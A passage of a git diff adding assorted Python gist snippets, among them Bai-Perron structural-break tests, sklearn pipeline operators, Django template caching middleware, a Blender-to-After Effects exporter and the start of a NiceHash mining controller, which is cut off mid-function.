+        if an integer, the minimum number of observations in each regime.
+    vcov : callback, optional
+        Optionally provide a callback to modify the variance / covariance
+        matrix used in calculating the test statistic.
+    
+    Returns
+    -------
+    fstat : float
+        The test statistic.
+    crits : iterable
+        The critical values.
+    """
+    nobs = len(endog)
+    if trim < 1:
+        trim = int(np.floor(trim * nobs))
+
+    exog = np.asarray(exog)
+    # TODO Is there a better way to test for and fix this? (the problem is
+    #      that if the exog argument is a list, so that exog is 1dim,
+    #      np.concatenate fails to create a matrix, instead just makes a
+    #      long vector)
+    if exog.ndim == 1:
+        exog = exog[:, None]
+
+    breakpoints, ssr = find_breakpoints(endog, exog, nbreaks, trim)
+
+    built_exog, regime_indicators, nobs_regimes = build_exog(exog, breakpoints)
+    res = OLS(endog, built_exog).fit()
+
+    q = exog.shape[1] # number of parameters subject to break, hard-coded to entire exog for now
+    p = 0 # number of parameters not subject to break, hard-coded to zero for now
+    R = np.zeros((nbreaks, nbreaks+1))
+    R[np.diag_indices(nbreaks)] = [-1]*nbreaks
+    R[tuple(np.diag_indices(nbreaks) + np.array([[0]*nbreaks, [1]*nbreaks]))] = [1]*nbreaks
+    Rd = R.dot(res.params[:, None])
+
+    V = vcov(res) if vcov else res.cov_params()
+
+    const = (nobs - (nbreaks+1)*q - p) / (nobs*nbreaks*q)
+    fstat = const * Rd.T.dot(np.linalg.inv(R.dot(V).dot(R.T))).dot(Rd)
+
+    return fstat
+
+def sequential_break_test(endog, exog, nbreaks_null=0, trim=0.15, vcov=None):
+    """
+    Test that one more break exists in the sample, given that there are at
+    least `nbreaks_null` breaks.
+
+    TODO obviously in sequential estimation of breakpoints, this will right now
+        recalculate the SSRs for the segments of the model many times. Easy
+        optimization is possible
+    TODO add support for dates, and return breakdates as well
+    TODO add support for p-value calculation (Hansen 1997)
+    TODO add support for different trimming values when calculating the null
+         model and when estimating the additional break (see Footnote 4,
+         Bai and Perron 2003)
+
+    Parameters
+    ----------
+    endog : array-like
+        The endogenous variable.
+    exog : array-like
+        The exogenous matrix.
+    nbreaks_null : integer
+        The number of breakpoints in the null hypothesis
+    trim : float or int, optional
+        If a float, the minimum percentage of observations in each regime,
+        if an integer, the minimum number of observations in each regime.
+    vcov : callback, optional
+        Optionally provide a callback to modify the variance / covariance
+        matrix used in calculating the test statistic.
+    
+    Returns
+    -------
+    fstat : float
+        The test statistic.
+    crits : iterable
+        The critical values.
+    """
+    nobs = len(endog)
+    if trim < 1:
+        trim = int(np.floor(trim * nobs))
+
+    exog = np.asarray(exog)
+    # TODO Is there a better way to test for and fix this? (the problem is
+    #      that if the exog argument is a list, so that exog is 1dim,
+    #      np.concatenate fails to create a matrix, instead just makes a
+    #      long vector)
+    if exog.ndim == 1:
+        exog = exog[:, None]
+    
+    # TODO add test to make sure trim is consistent with the number of breaks
+    #      in both the null and alternative hypotheses
+    
+    # Estimate the breakpoints under the null
+    breakpoints, ssr_null = find_breakpoints(endog, exog, nbreaks_null, trim)
+
+    # Get the indices for the start and end of each segment
+    segments = zip((0,) + breakpoints, breakpoints + (nobs,))
+
+    # For each segment (there are nbreaks_null+1), estimate an additional
+    # breakpoint
+    optimal_segment = None
+    new_breakpoints = None
+    min_ssr = np.Inf
+    for segment in range(nbreaks_null+1):
+        start, end = segments[segment]
+        # Add one to the end, since breakpoint is actually the last observation
+        # in the previous regime
+        end += 1
+        segment_endog = endog[start:end]
+        segment_exog = exog[start:end]
+
+        # TODO this involves re-calculating SSR for lots of segments. Should
+        #      use a cache of the upper-triangular set of SSRs from the
+        #      find_breakpoints estimation above
+        try:
+            breakpoint, ssr = find_breakpoints(segment_endog, segment_exog, 1,
+                                               trim)
+
+            if ssr < min_ssr:
+                min_ssr = ssr
+                optimal_segment = segment
+                new_breakpoints = breakpoint
+        except InvalidRegimeError:
+            pass
+
+    # Find the parameters
+    start, end = segments[optimal_segment]
+    end += 1
+    segment_exog, _, _ = build_exog(exog[start:end], new_breakpoints)
+    res = OLS(endog[start:end], segment_exog).fit()
+
+    # Calculate the test statistic
+    nbreaks = 1
+    q = exog.shape[1] # number of parameters subject to break, hard-coded to entire exog for now
+    p = 0 # number of parameters not subject to break, hard-coded to zero for now
+    R = np.zeros((nbreaks, nbreaks+1))
+    R[np.diag_indices(nbreaks)] = [-1]*nbreaks
+    R[tuple(np.diag_indices(nbreaks) + np.array([[0]*nbreaks, [1]*nbreaks]))] = [1]*nbreaks
+    Rd = R.dot(res.params[:, None])
+
+    V = vcov(res) if vcov else res.cov_params()
+
+    nobs_segment = end - start
+    const = (nobs_segment - (nbreaks+1)*q - p) / (nobs_segment*nbreaks*q)
+    fstat = const * Rd.T.dot(np.linalg.inv(R.dot(V).dot(R.T))).dot(Rd)
+
+    return fstat
+
+
+if __name__ == "__main__":
+    from numpy.testing import assert_equal, assert_almost_equal
+    # Tested against Bai and Perron (2003), section 6.1 - The US Ex-post Real Interest Rate
+    real = [
+        1.99132, 0.00403, 2.27, 0.84833, 1.89112, -0.28, 3.68431, 1.62478, 1.21599,
+        1.28373, 1.70141, 3.16687, 2.32779, 2.26202, 1.91218, 3.53196, -0.31777,
+        3.44694, 1.52422, 0.74268, 1.31541, 0.36646, 3.59562, 3.6574, 0.97494,
+        -0.5328, 1.12681, 0.31123, 0.57834, 1.08163, 0.24977, 0.23792, -0.32653,
+        1.14733, 1.19323, 2.58962, 0.01195, 2.63842, 0.42092, 2.58823, -2.19809,
+        2.89548, 1.8213, 0.86332, 0.67496, 0.34435, 1.22762, -2.83991, -1.8163,
+        -2.22965, -1.58457, -6.31184, -2.46258, -5.61479, -3.53887, 1.0178,
+        -1.58875, -1.85396, -0.2567, 2.42226, -1.29502, -0.48977, 1.21167,
+        -4.85498, -3.599, 0.17094, 1.51603, -1.85304, -5.60478, -1.25767, 0.96658,
+        -3.09451, -5.26773, -4.03154, -1.76618, -5.73978, 3.83047, 0.52007,
+        -0.18033, 3.82808, 3.01171, 2.75289, 11.74184, 9.91701, 3.03444, 10.15143,
+        9.29177, 6.87498, 2.43675, 4.37202, 6.77774, 4.16692, 5.65037, 5.17734,
+        9.41206, 3.77006, 4.24568, 4.53154, 3.39706, 8.93951, 4.20825, 3.43461,
+        4.30529
+    ]
+    data = pd.DataFrame(
+        real,
+        index=pd.date_range('1961-01-01', '1986-07-01', freq='QS'),
+        columns=['real']
+    )
+    nobs = len(data)
+    const = np.array([1 for i in range(nobs)])
+    
+    # Estimate 3 breakpoints
+    breakpoints, ssr = find_breakpoints(data.real, const, 3)
+    assert_equal(breakpoints, (23, 46, 78))
+    
+    # Test for 3 breakpoints
+    # (Bai and Perron use Andrews (1991) HAC var/cov matrix, which SM
+    # can't currently estimate, so insert it here to make tests match
+    V = np.array([[0.036057291777551,        0,        0,        0],
+                  [     0,   0.023560598517385,        0,        0],
+                  [     0,        0,   0.261105369875645,        0],
+                  [     0,        0,        0,   0.363491918147632]])
+    fstat = break_test(data.real, const, 3, vcov = lambda _: V)
+    assert_almost_equal(fstat, 33.3228, 4)
+    
+    # Sequential test, for 1 vs 0 breakpoints
+    V = np.array([[0.024165305694794,                    0],
+                  [                0,    0.261105369875645]])
+    fstat = sequential_break_test(data.real, const, 1, vcov = lambda _: V)
+    assert_almost_equal(fstat, 33.9275, 4)
\ No newline at end of file
diff --git a/hard-gists/643f812a275a9e0c75048aab6988a92c/._snippet.py b/hard-gists/643f812a275a9e0c75048aab6988a92c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/643f812a275a9e0c75048aab6988a92c/._snippet.py differ
diff --git a/hard-gists/643f812a275a9e0c75048aab6988a92c/snippet.py b/hard-gists/643f812a275a9e0c75048aab6988a92c/snippet.py
new file mode 100644
index 00000000..025856f1
--- /dev/null
+++ b/hard-gists/643f812a275a9e0c75048aab6988a92c/snippet.py
@@ -0,0 +1,20 @@
+from sklearn.base import BaseEstimator
+
+def piper(self, other):
+    from sklearn.pipeline import make_pipeline, Pipeline
+    if isinstance(self, Pipeline):
+        steps = ([estimator for (name, estimator) in self.steps] + [other])
+        return make_pipeline(*steps)
+    else:
+        return make_pipeline(self, other)
+
+def unionizer(self, other):
+    from sklearn.pipeline import make_union, FeatureUnion
+    if isinstance(self, FeatureUnion):
+        steps = ([estimator for (name, estimator) in self.steps] + [other])
+        return make_union(*steps)
+    else:
+        return make_union(self, other)
+
+BaseEstimator.__rshift__ = piper
+BaseEstimator.__mul__ = unionizer
\ No newline at end of file
diff --git a/hard-gists/6446136/._snippet.py b/hard-gists/6446136/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6446136/._snippet.py differ
diff --git a/hard-gists/6446136/snippet.py b/hard-gists/6446136/snippet.py
new file mode 100644
index 00000000..839e314c
--- /dev/null
+++ b/hard-gists/6446136/snippet.py
@@ -0,0 +1,60 @@
+# Two-phased template rendering.
+# See http://www.holovaty.com/writing/django-two-phased-rendering/
+# LICENSE: Public domain.
+
+################
+# TEMPLATE TAG #
+################
+
+from django import template
+register = template.Library()
+
+def raw(parser, token):
+    # Whatever is between {% raw %} and {% endraw %} will be preserved as
+    # raw, unrendered template code.
+    text = []
+    parse_until = 'endraw'
+    tag_mapping = {
+        template.TOKEN_TEXT: ('', ''),
+        template.TOKEN_VAR: ('{{', '}}'),
+        template.TOKEN_BLOCK: ('{%', '%}'),
+        template.TOKEN_COMMENT: ('{#', '#}'),
+    }
+    # By the time this template tag is called, the template system has already
+    # lexed the template into tokens. Here, we loop over the tokens until
+    # {% endraw %} and parse them to TextNodes. We have to add the start and
+    # end bits (e.g. "{{" for variables) because those have already been
+    # stripped off in a previous part of the template-parsing process.
+    while parser.tokens:
+        token = parser.next_token()
+        if token.token_type == template.TOKEN_BLOCK and token.contents == parse_until:
+            return template.TextNode(u''.join(text))
+        start, end = tag_mapping[token.token_type]
+        text.append(u'%s%s%s' % (start, token.contents, end))
+    parser.unclosed_block_tag(parse_until)
+raw = register.tag(raw)
+
+##############
+# MIDDLEWARE #
+##############
+
+from django.core.cache import cache
+from django.template import Template
+from django.template.context import RequestContext
+import urllib
+
+class CachedTemplateMiddleware(object):
+    def process_view(self, request, view_func, view_args, view_kwargs):
+        response = None
+        if request.method == 'GET' and 'magicflag' not in request.GET:
+            cache_key = urllib.quote(request.path)
+            response = cache.get(cache_key, None)
+
+        if response is None:
+            response = view_func(request, *view_args, **view_kwargs)
+
+        if 'magicflag' not in request.GET and response['content-type'].startswith('text/html'):
+            t = Template(response.content)
+            response.content = t.render(RequestContext(request))
+
+        return response
\ No newline at end of file
diff --git a/hard-gists/6453947/._snippet.py b/hard-gists/6453947/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6453947/._snippet.py differ
diff --git a/hard-gists/6453947/snippet.py b/hard-gists/6453947/snippet.py
new file mode 100644
index 00000000..c077f87d
--- /dev/null
+++ b/hard-gists/6453947/snippet.py
@@ -0,0 +1,189 @@
+# Copyright (c) 2013, Martin Herkt
+#
+# Permission to use, copy, modify, and/or distribute this software for any
+# purpose with or without fee is hereby granted, provided that the above
+# copyright notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+# AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+# OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+# PERFORMANCE OF THIS SOFTWARE.
+
+bl_info = {
+    "name": "Export: Adobe After Effects 6.0 Keyframe Data",
+    "description": "Export motion tracking markers to Adobe After Effects 6.0 compatible files",
+    "author": "Martin Herkt",
+    "version": (0, 1, 2),
+    "blender": (2, 62, 0),
+    "location": "File > Export > Adobe After Effects 6.0 Keyframe Data",
+    "warning": "",
+    "category": "Import-Export",
+    }
+
+import bpy, mathutils, math, pyperclip
+
+def write_files(prefix, context):
+    scene = context.scene
+    fps = scene.render.fps / scene.render.fps_base
+
+    clipno = 0
+
+    for clip in bpy.data.movieclips:
+        trackno = 0
+
+        for track in clip.tracking.tracks:
+            with open("{0}_c{1:02d}_t{2:02d}.txt".format(prefix, clipno, trackno), "w") as f:
+
+                frameno = clip.frame_start
+                startarea = None
+                startwidth = None
+                startheight = None
+                startrot = None
+
+                data = []
+
+                clipboard = ""
+				
+                f.write("Adobe After Effects 6.0 Keyframe Data\r\n\r\n")
+                clipboard += "Adobe After Effects 6.0 Keyframe Data\r\n\r\n"
+                f.write("\tUnits Per Second\t{0:.3f}\r\n".format(fps))
+                clipboard += "\tUnits Per Second\t{0:.3f}\r\n".format(fps)
+                f.write("\tSource Width\t{0}\r\n".format(clip.size[0]))
+                clipboard += "\tSource Width\t{0}\r\n".format(clip.size[0])
+                f.write("\tSource Height\t{0}\r\n".format(clip.size[1]))
+                clipboard += "\tSource Height\t{0}\r\n".format(clip.size[1])
+                f.write("\tSource Pixel Aspect Ratio\t1\r\n")
+                clipboard += "\tSource Pixel Aspect Ratio\t1\r\n"
+                f.write("\tComp Pixel Aspect Ratio\t1\r\n\r\n")
+                clipboard += "\tComp Pixel Aspect Ratio\t1\r\n\r\n"
+
+                while frameno <= clip.frame_duration:
+                    marker = track.markers.find_frame(frameno)
+                    frameno += 1
+
+                    if not marker or marker.mute:
+                        continue
+
+                    coords = marker.co
+                    corners = marker.pattern_corners
+
+                    area = 0
+                    width = math.sqrt((corners[1][0] - corners[0][0]) * (corners[1][0] - corners[0][0]) + (corners[1][1] - corners[0][1]) * (corners[1][1] - corners[0][1]))
+                    height = math.sqrt((corners[3][0] - corners[0][0]) * (corners[3][0] - corners[0][0]) + (corners[3][1] - corners[0][1]) * (corners[3][1] - corners[0][1]))
+                    for i in range(1,3):
+                        x1 = corners[i][0] - corners[0][0]
+                        y1 = corners[i][1] - corners[0][1]
+                        x2 = corners[i+1][0] - corners[0][0]
+                        y2 = corners[i+1][1] - corners[0][1]
+                        area += x1 * y2 - x2 * y1
+
+                    area = abs(area / 2)
+
+                    if startarea == None:
+                        startarea = area
+                        
+                    if startwidth == None:
+                        startwidth = width
+                    if startheight == None:
+                        startheight = height
+
+                    zoom = math.sqrt(area / startarea) * 100
+                    
+                    xscale = width / startwidth * 100
+                    yscale = height / startheight * 100
+
+                    p1 = mathutils.Vector(corners[0])
+                    p2 = mathutils.Vector(corners[1])
+                    mid = (p1 + p2) / 2
+                    diff = mid - mathutils.Vector((0,0))
+
+                    rotation = math.atan2(diff[0], diff[1]) * 180 / math.pi
+
+                    if startrot == None:
+                        startrot = rotation
+                        rotation = 0
+                    else:
+                        rotation -= startrot - 360
+
+                    x = coords[0] * clip.size[0]
+                    y = (1 - coords[1]) * clip.size[1]
+
+                    data.append([marker.frame, x, y, xscale, yscale, rotation])
+
+                posline = "\t{0}\t{1:.3f}\t{2:.3f}\t0"
+                scaleline = "\t{0}\t{1:.3f}\t{2:.3f}\t100"
+                rotline = "\t{0}\t{1:.3f}"
+
+                positions = "\r\n".join([posline.format(d[0], d[1], d[2]) for d in data]) + "\r\n\r\n"
+                scales = "\r\n".join([scaleline.format(d[0], d[3], d[4]) for d in data]) + "\r\n\r\n"
+                rotations = "\r\n".join([rotline.format(d[0], d[5]) for d in data]) + "\r\n\r\n"
+
+                f.write("Anchor Point\r\n")
+                clipboard += "Anchor Point\r\n"
+                f.write("\tFrame\tX pixels\tY pixels\tZ pixels\r\n")
+                clipboard += "\tFrame\tX pixels\tY pixels\tZ pixels\r\n"
+                f.write(positions)
+                clipboard += positions
+
+                f.write("Position\r\n")
+                clipboard += "Position\r\n"
+                f.write("\tFrame\tX pixels\tY pixels\tZ pixels\r\n")
+                clipboard += "\tFrame\tX pixels\tY pixels\tZ pixels\r\n"
+                f.write(positions)
+                clipboard += positions
+
+                f.write("Scale\r\n")
+                clipboard += "Scale\r\n"
+                f.write("\tFrame\tX percent\tY percent\tZ percent\r\n")
+                clipboard += "\tFrame\tX percent\tY percent\tZ percent\r\n"
+                f.write(scales)
+                clipboard += scales
+
+                f.write("Rotation\r\n")
+                clipboard += "Rotation\r\n"
+                f.write("\tFrame Degrees\r\n")
+                clipboard += "\tFrame Degrees\r\n"
+                f.write(rotations)
+                clipboard += rotations
+
+                f.write("End of Keyframe Data\r\n")
+                clipboard += "End of Keyframe Data\r\n"
+
+                trackno += 1
+
+            clipno += 1
+    pyperclip.copy(clipboard)
+    return {'FINISHED'}
+
+from bpy_extras.io_utils import ExportHelper
+from bpy.props import StringProperty
+
+class ExportAFXKey(bpy.types.Operator, ExportHelper):
+    """Export motion tracking markers to Adobe After Effects 6.0 compatible files"""
+    bl_idname = "export.afxkey"
+    bl_label = "Export to Adobe After Effects 6.0 Keyframe Data"
+    filename_ext = ""
+    filter_glob = StringProperty(default="*", options={'HIDDEN'})
+
+    def execute(self, context):
+        return write_files(self.filepath, context)
+
+
+def menu_func(self, context):
+    self.layout.operator(ExportAFXKey.bl_idname, text="Adobe After Effects 6.0 Keyframe Data")
+
+
+def register():
+    bpy.utils.register_class(ExportAFXKey)
+    bpy.types.INFO_MT_file_export.append(menu_func)
+
+
+def unregister():
+    bpy.utils.unregister_class(ExportAFXKey)
+    bpy.types.INFO_MT_file_export.remove(menu_func)
+
+if __name__ == "__main__":
+    register()
\ No newline at end of file
diff --git a/hard-gists/6454814/._snippet.py b/hard-gists/6454814/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6454814/._snippet.py differ
diff --git a/hard-gists/6454814/snippet.py b/hard-gists/6454814/snippet.py
new file mode 100644
index 00000000..b8b40508
--- /dev/null
+++ b/hard-gists/6454814/snippet.py
@@ -0,0 +1,36 @@
+from pyspark import SparkContext
+
+import numpy as np
+
+from sklearn.cross_validation import train_test_split, Bootstrap
+from sklearn.datasets import make_classification
+from sklearn.metrics import accuracy_score
+from sklearn.tree import DecisionTreeClassifier
+
+def run(sc):
+	def zero_matrix(n, m):
+		return np.zeros(n*m, dtype = int).reshape(n, m)
+	
+	def vote_increment(y_est):
+		increment = zero_matrix(y_est.size, n_ys)
+		increment[np.arange(y_est.size), y_est] = 1
+		return increment # test point x class matrix with 1s marking the estimator prediction
+
+	X, y = make_classification()
+	X_train, X_test, y_train, y_test = train_test_split(X, y)
+
+	n_test = X_test.shape[0]
+	n_ys = np.unique(y_train).size
+	
+	model = DecisionTreeClassifier()
+	# Partition the training data into random sub-samples with replacement.
+	samples = sc.parallelize(Bootstrap(y.size))
+	# Train a model for each sub-sample and apply it to the test data.
+	vote_tally = samples.map(lambda (index, _):
+		model.fit(X[index], y[index]).predict(X_test)
+	).map(vote_increment).fold(zero_matrix(n_test, n_ys), np.add) # Take the learner majority vote.
+	y_estimate_vote = np.argmax(vote_tally, axis = 1)
+	return accuracy_score(y_test, y_estimate_vote)
+
+if __name__ == '__main__':
+	print run(SparkContext("local", "Boost"))
diff --git a/hard-gists/6462976/._snippet.py b/hard-gists/6462976/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6462976/._snippet.py differ
diff --git a/hard-gists/6462976/snippet.py b/hard-gists/6462976/snippet.py
new file mode 100644
index 00000000..b14801c4
--- /dev/null
+++ b/hard-gists/6462976/snippet.py
@@ -0,0 +1,67 @@
+# sounder.py
+# play each of the .caf sounds inside the Pythonista.app
+
+import os, os.path, scene, sound
+
+framesPerSound = 60
+pythonistaDir = os.path.expanduser('~/Pythonista.app')
+#print(os.listdir(pythonistaDir))
+soundFileExtention = '.caf'
+wallpaperAppIcon = ('/AppIcon76x76@2x~ipad.png', '/AppIcon60x60@2x.png')
+
+# print out all the .py files inside Pythonista.app
+#fileExtension = '.py'  # '.txt'
+#fileExtension = '.png'
+#for fileName in os.listdir(pythonistaDir):
+#    if fileName.endswith(fileExtension):
+#        print(fileName + '\n' + '=' * len(fileName))
+#        with open(fileName) as fileHandle:
+#            print(fileHandle.read() + '\n')
+#sys.exit()
+
+def getSoundFunction():
+    for fileName in os.listdir(pythonistaDir):
+        if fileName.endswith(soundFileExtention):
+            yield fileName.rstrip(soundFileExtention)
+getSoundName = getSoundFunction()
+
+def getWallpaper(inWallpaperFiles = wallpaperAppIcon):
+    for wallpaperFile in inWallpaperFiles:
+        wallpaperFile = pythonistaDir + wallpaperFile
+        if os.path.isfile(wallpaperFile):  # does file exists?
+            return scene.load_image_file(wallpaperFile)
+
+class WallpaperLayer(scene.Layer):
+    def __init__(self, inRect):
+        super(self.__class__, self).__init__(inRect)
+        self.image = getWallpaper()
+
+def iPadScreen(inBounds): # Is screen larger than an iPhone?
+    return min(inBounds.w, inBounds.h) > 350  # iPhone == 320
+
+class MyScene(scene.Scene):
+    def __init__(self):
+        scene.run(self)
+
+    def setup(self):
+        self.frameCount = 0
+        self.fontSize = 100 if iPadScreen(self.bounds) else 64
+        self.add_layer(WallpaperLayer(self.bounds))
+
+    def draw(self):
+        if not self.frameCount % framesPerSound:
+            try:
+                self.soundName = getSoundName.next()
+                #sound.load_effect(self.soundName)
+                sound.play_effect(self.soundName)
+            except StopIteration:
+                self.soundName = None
+        self.frameCount += 1
+        scene.background(0, 0, 0)
+        self.root_layer.update(self.dt)
+        self.root_layer.draw()
+        if self.soundName:
+            x, y = self.bounds.center()
+            scene.text(self.soundName, x=x, y=y, font_size=self.fontSize)
+
+MyScene()
\ No newline at end of file
diff --git a/hard-gists/6463966/._snippet.py b/hard-gists/6463966/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6463966/._snippet.py differ
diff --git a/hard-gists/6463966/snippet.py b/hard-gists/6463966/snippet.py
new file mode 100644
index 00000000..f2241554
--- /dev/null
+++ b/hard-gists/6463966/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/python
+#
+# list_unused_munki_pkgs.py
+# Tim Sutton
+#
+# Simple script to list all Munki pkgs not currently referenced in a specific list
+# of catalogs.
+# It does not delete anything.
+#
+# CATALOGS can be modified to a list of catalogs in your repo that should be indexed.
+# PKGS_ROOT must also be defined to be root of the mounted 'pkgs' folder.
+#
+# This script needs to access your Munki repo as a client to retrieve catalog data, and
+# therefore requires that all client tools are installed and a valid configuration exists
+# for the ManagedInstalls domain. If there are additional secure preferences such as HTTP Basic
+# Auth stored in /private/var/root, you would need to run this as root.
+
+import os
+import sys
+
+sys.path.append('/usr/local/munki')
+sys.path.append('/Applications/Utilities/Managed Software Update.app/Contents/Resources')
+from munki import humanReadable
+from munkilib import updatecheck
+
+CATALOGS = ['testing', 'production']
+PKGS_ROOT = '/Volumes/munki_repo/pkgs'
+
+updatecheck.getCatalogs(CATALOGS)
+defined_locations = []
+for c in CATALOGS:
+    for item in updatecheck.CATALOG[c]['items']:
+        for path_key in ['installer_item_location', 'uninstaller_item_location']:
+            if path_key in item.keys():
+                report_item = {}
+                report_item['path'] = os.path.join(PKGS_ROOT, item[path_key])
+                report_item['size'] = item['installer_item_size']
+                defined_locations.append(report_item)
+
+totalbytes = 0
+print "%-100s %-16s" % ("Path", "Size")
+print
+
+for r, d, f in os.walk(PKGS_ROOT):
+    for phile in f:
+        if (phile.endswith('.dmg') or phile.endswith('.pkg')) and \
+            '.AppleDouble' not in r and \
+            not phile.startswith('._'):
+            repo_pkg_path = os.path.join(r, phile)
+            relative_path = repo_pkg_path.split(PKGS_ROOT + '/')[1]
+            if repo_pkg_path not in [k['path'] for k in defined_locations]:
+                item_size = os.path.getsize(repo_pkg_path)
+                print "%-100s %-16s" % (relative_path, humanReadable(item_size / 1024))
+                totalbytes += item_size
+
+print
+print "Total size: %s" % (humanReadable(totalbytes / 1024))
diff --git a/hard-gists/6467595/._snippet.py b/hard-gists/6467595/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6467595/._snippet.py differ
diff --git a/hard-gists/6467595/snippet.py b/hard-gists/6467595/snippet.py
new file mode 100644
index 00000000..01d130be
--- /dev/null
+++ b/hard-gists/6467595/snippet.py
@@ -0,0 +1,16 @@
+from django.conf.urls import patterns, url
+from django.contrib.auth.decorators import login_required
+from django.utils.translation import ugettext_lazy as _
+
+from youproject.yourapp import views
+
+
+people_list = login_required(views.PeopleListView.as_view())
+people_detail = login_required(views.PeopleDetailView.as_view())
+
+
+urlpatterns = patterns(
+    '',
+    url(_(r'^$'), people_list, name="people_list"),
+    url(_(r'^(?P<pk>\d+)/$'), people_detail, name="people_detail"),
+)
diff --git a/hard-gists/6471e364501e7c62a0c41d92fa6090bc/._snippet.py b/hard-gists/6471e364501e7c62a0c41d92fa6090bc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6471e364501e7c62a0c41d92fa6090bc/._snippet.py differ
diff --git a/hard-gists/6471e364501e7c62a0c41d92fa6090bc/snippet.py b/hard-gists/6471e364501e7c62a0c41d92fa6090bc/snippet.py
new file mode 100644
index 00000000..25dc79da
--- /dev/null
+++ b/hard-gists/6471e364501e7c62a0c41d92fa6090bc/snippet.py
@@ -0,0 +1,220 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+"""Cross-platform controller for NiceHash Excavator for Nvidia."""
+
+# Example usage:
+#   $ excavator -p 3456 &
+#   $ sleep 5
+#   $ python3 excavator-driver.py
+
+__author__ = "Ryan Young"
+__email__ = "rayoung@utexas.edu"
+__license__ = "public domain"
+
+import json
+import logging
+import signal
+import socket
+import sys
+import urllib.error
+import urllib.request
+from time import sleep
+
+WALLET_ADDR = '3DzJYbtHt9QdZzQiDnq5tZD8VsDuwRnbdJ'
+WORKER_NAME = 'worker1'
+REGION = 'usa' # eu, usa, hk, jp, in, br
+
+EXCAVATOR_ADDRESS = ('127.0.0.1', 3456)
+
+# copy the numbers from excavator-benchmark (test one device at a time with -d <n>)
+# convert to the base unit, H/s
+#   x H/s   ->  x
+#   x kH/s  ->  x*1e3
+#   x MH/s  ->  x*1e6
+#   x GH/s  ->  x*1e9
+BENCHMARKS = {}
+# device 0: GTX 1060 6GB
+BENCHMARKS[0] = {
+    'equihash': 325.964731,
+    'pascal': 687.796633e6,
+    'decred': 1.896621e9,
+    'sia': 1.205557e9,
+    'lbry': 185.736261e6,
+    'blake2s': 2.767859e9,
+    'lyra2rev2': 26.157357e6,
+    'cryptonight': 443.131955,
+    'daggerhashimoto': 19.965252e6,
+    'daggerhashimoto_pascal': [8.847941e6, 495.485485e6],
+    'daggerhashimoto_decred': [19.843944e6, 714.382018e6],
+    'daggerhashimoto_sia': [19.908869e6, 254.833522e6],
+    # test manually
+    'neoscrypt': 732.554438e3,
+    'nist5': 32.031877e6
+    }
+
+PROFIT_SWITCH_THRESHOLD = 0.1
+UPDATE_INTERVAL = 60
+
+EXCAVATOR_TIMEOUT = 10
+NICEHASH_TIMEOUT = 20
+
+### here be dragons
+
+class ExcavatorError(Exception):
+    pass
+
+class ExcavatorAPIError(ExcavatorError):
+    """Exception returned by excavator."""
+    def __init__(self, response):
+        self.response = response
+        self.error = response['error']
+
+def nicehash_multialgo_info():
+    """Retrieves pay rates and connection ports for every algorithm from the NiceHash API."""
+    response = urllib.request.urlopen('https://api.nicehash.com/api?method=simplemultialgo.info',
+                                      None, NICEHASH_TIMEOUT)
+    query = json.loads(response.read().decode('ascii')) #json.load(response)
+    paying = {}
+    ports = {}
+    for algorithm in query['result']['simplemultialgo']:
+        name = algorithm['name']
+        paying[name] = float(algorithm['paying'])
+        ports[name] = int(algorithm['port'])
+    return paying, ports
+
+def nicehash_mbtc_per_day(device, paying):
+    """Calculates the BTC/day amount for every algorithm.
+
+    device -- excavator device id for benchmarks
+    paying -- algorithm pay information from NiceHash
+    """
+
+    benchmarks = BENCHMARKS[device]
+    pay = lambda algo, speed: paying[algo]*speed*(24*60*60)*1e-11
+    def pay_benched(algo):
+        if '_' in algo:
+            return sum([pay(multi_algo, benchmarks[algo][i]) for
+                        i, multi_algo in enumerate(algo.split('_'))])
+        else:
+            return pay(algo, benchmarks[algo])
+
+    return dict([(algo, pay_benched(algo)) for algo in benchmarks.keys()])
+
+def do_excavator_command(method, params):
+    """Sends a command to excavator, returns the JSON-encoded response.
+
+    method -- name of the command to execute
+    params -- list of arguments for the command
+    """
+
+    BUF_SIZE = 1024
+    command = {
+        'id': 1,
+        'method': method,
+        'params': params
+        }
+    s = socket.create_connection(EXCAVATOR_ADDRESS, EXCAVATOR_TIMEOUT)
+    # send newline-terminated command
+    s.sendall((json.dumps(command).replace('\n', '\\n') + '\n').encode())
+    response = ''
+    while True:
+        chunk = s.recv(BUF_SIZE).decode()
+        # excavator responses are newline-terminated too
+        if '\n' in chunk:
+            response += chunk[:chunk.index('\n')]
+            break
+        else:
+            response += chunk
+    s.close()
+
+    response_data = json.loads(response)
+    if response_data['error'] is None:
+        return response_data
+    else:
+        raise ExcavatorAPIError(response_data)
+
+def add_excavator_algorithm(algo, device, ports):
+    """Runs an algorithm on a device, returns the new excavator algorithm id.
+
+    algo -- the algorithm to run
+    device -- excavator device id of the target device
+    ports -- algorithm port information from NiceHash
+    """
+
+    AUTH = '%s.%s:x' % (WALLET_ADDR, WORKER_NAME)
+    stratum = lambda algo: '%s.%s.nicehash.com:%s' % (algo, REGION, ports[algo])
+
+    add_params = [algo] + sum([[stratum(multi_algo), AUTH] for multi_algo in
+                               algo.split('_')], [])
+    response = do_excavator_command('algorithm.add', add_params)
+    algo_id = response['algorithm_id']
+
